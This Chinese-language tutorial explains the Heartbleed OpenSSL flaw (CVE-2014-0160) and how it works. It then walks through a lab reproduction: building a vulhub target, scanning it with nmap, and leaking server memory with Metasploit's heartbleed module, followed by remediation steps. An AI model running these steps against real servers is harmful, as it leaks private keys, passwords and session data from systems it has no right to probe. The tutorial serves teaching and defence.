OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)
Heartbleed
心臟出血(英語:Heartbleed),也簡稱為心血漏洞,是一個出現在加密程序庫OpenSSL的安全漏洞,該程序庫廣泛用于實現互聯網的傳輸層安全(TLS)協議。它于2012年被引入了軟件中,2014年4月首次向公眾披露。只要使用的是存在缺陷的OpenSSL實例,無論是服務器還是客戶端,都可能因此而受到攻擊。此問題的原因是在實現TLS的心跳擴展時沒有對輸入進行適當驗證(缺少邊界檢查),因此漏洞的名稱來源于“心跳”(heartbeat)。該程序錯誤屬于緩沖區過濾,即可以讀取的數據比應該允許讀取的還多。HeartBleed主要存在與OpenSSL的1.0.1版本到1.0.1f版本。利用該漏洞,攻擊者可以遠程讀取服務器內存中64K的數據,獲取內存中的敏感信息。
漏洞描述
Heartbleed漏洞,這項嚴重缺陷(CVE-2014-0160)的產生是由于未能在memcpy()調用受害用戶輸入內容作為長度參數之前正確進行邊界檢查。攻擊者可以追蹤OpenSSL所分配的64KB緩存、將超出必要范圍的字節信息復制到緩存當中再返回緩存內容,這樣一來受害者的內存內容就會以每次64KB的速度進行泄露。
漏洞原理
OpenSSL“心臟出血”漏洞的問題出現在openSSL處理TLS心跳的過程中,TLS心跳的流程是:A向B發送請求包,B收到包后讀取這個包的內容(data),并返回一個包含有請求包內容的響應包。請求包的內容(data)中包含有包的類型(type)和數據長度等信息。
當B收到A的請求包后,并沒有的驗證A包的實際長度,而是簡單的把請求包data中說明的長度當作data的實際長度,于是當請求包中說明的長度與請求包數據實際長度不同時,問題就產生了。假設A構造一個請求包,它的實際內容長度只有1,而卻告訴B的它的長度是65535,那么B接受到這個包后就會把A的內容完全當作65535來處理,其實到這里,問題還并不嚴重,最嚴重的問題出在,心跳的響應包還需要附帶請求包的全部內容,這就需要程序做一次將請求包的數據從它所在的內存拷貝到響應包的內存里的操作。
這下就出大問題了,當拷貝的時候,程序認為A包的內容長度是65535個字節,結果A包在內存里面實際只有1個字節,于是程序不僅拷貝出了A包的內容,還“傻傻”地將A包數據在內存中位置后額外的65534個字節拷貝進了響應包里,并將這個響應包發還給了A,于是A便輕易地獲得了B內存中這65534個字節的數據。想象一下,如果這65534個字節數據中包括一些敏感信息,那么后果將非常嚴重。而且A還可以簡單地通過連續的發送心跳包,獲取B機器內存中n個65534字節的數據,這個漏洞不愧是2014年“最佳漏洞”。
影響版本
OpenSSL 1.0.1版本
漏洞復現
環境介紹
靶機:centos7 192.168.139.136
攻擊機:kali 192.168.139.129
確保兩臺測試機網絡能通
環境搭建
使用docker+vulhub搭建漏洞環境,在centos7上搭建vulhub的步驟如下:
命令:yum install -y yum-utils device-mapper-persistent-data lvm2
命令:yum install docker
命令:systemctl start docker
命令:yum install -y git
git clone +下載地址
命令:git clone https://github.com/vulhub/vulhub.git
命令:ls #查看所有漏洞目錄
命令:cd openssl #進入該目錄
ls
命令:docker-compose up -d #運行漏洞環境
命令:docker ps
復現過程
信息收集
使用Nmap進行掃描
命令:nmap -sV -T4 192.168.139.136
使用Nmap漏洞掃描腳本對8443端口進行掃描檢測如下:
命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.139.136
使用MSF框架攻擊
進入msfconsole
命令:msfconsole
搜索相關漏洞模塊
命令:search heartbleed
使用攻擊模塊1
命令:use auxiliary/scanner/ssl/openssl_heartbleed
查看配置參數
命令:show options
配置參數
對required為yes但是current setting為空的項進行設置,這里我們只需要設置rhosts(靶機ip)
命令:set rhosts 192.168.139.136 #靶機ip
set rport 8443 #設置端口
set verbose true #設置verbose為true是為了 看到泄露的信息
進行攻擊
命令:run
這里就可以看到 靶機的64KB信息了(如果有人此時在登錄web應用,還可以直接抓到賬號密碼等信息)。
修復方案
OpenSSL“心臟出血”漏洞(CVE-2014-0160)受影響的OpenSSL版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
要解決此漏洞,簡單粗暴的方法就是升級openSSL軟件。
建議服務器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項重新編譯OpenSSL,從而禁用易受攻擊的功能,直至可以更新服務器軟件。
1.將受影響的服務器下線,避免它繼續泄露敏感信息。
2.停止舊版的 openssl 服務,升級 openssl 到新版本,并重新啟動。
3.生成新密鑰。(因為攻擊者可能通過漏洞獲取私鑰。)將新密鑰提交給你的CA,獲得新的認證之后在服務器上安裝新密鑰。
4.服務器上線。
5.撤銷舊認證。
6.撤銷現有的會話cookies。
7.要求用戶修改密碼。
Heartbleed 是在 8 年多前被發現并修補的,然而許多服務器仍然存在 Heartbleed 漏洞
總結
以上是生活随笔為你收集整理的OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: HDU-6203 ping ping p
- 下一篇: IBM power小型机更换硬盘步骤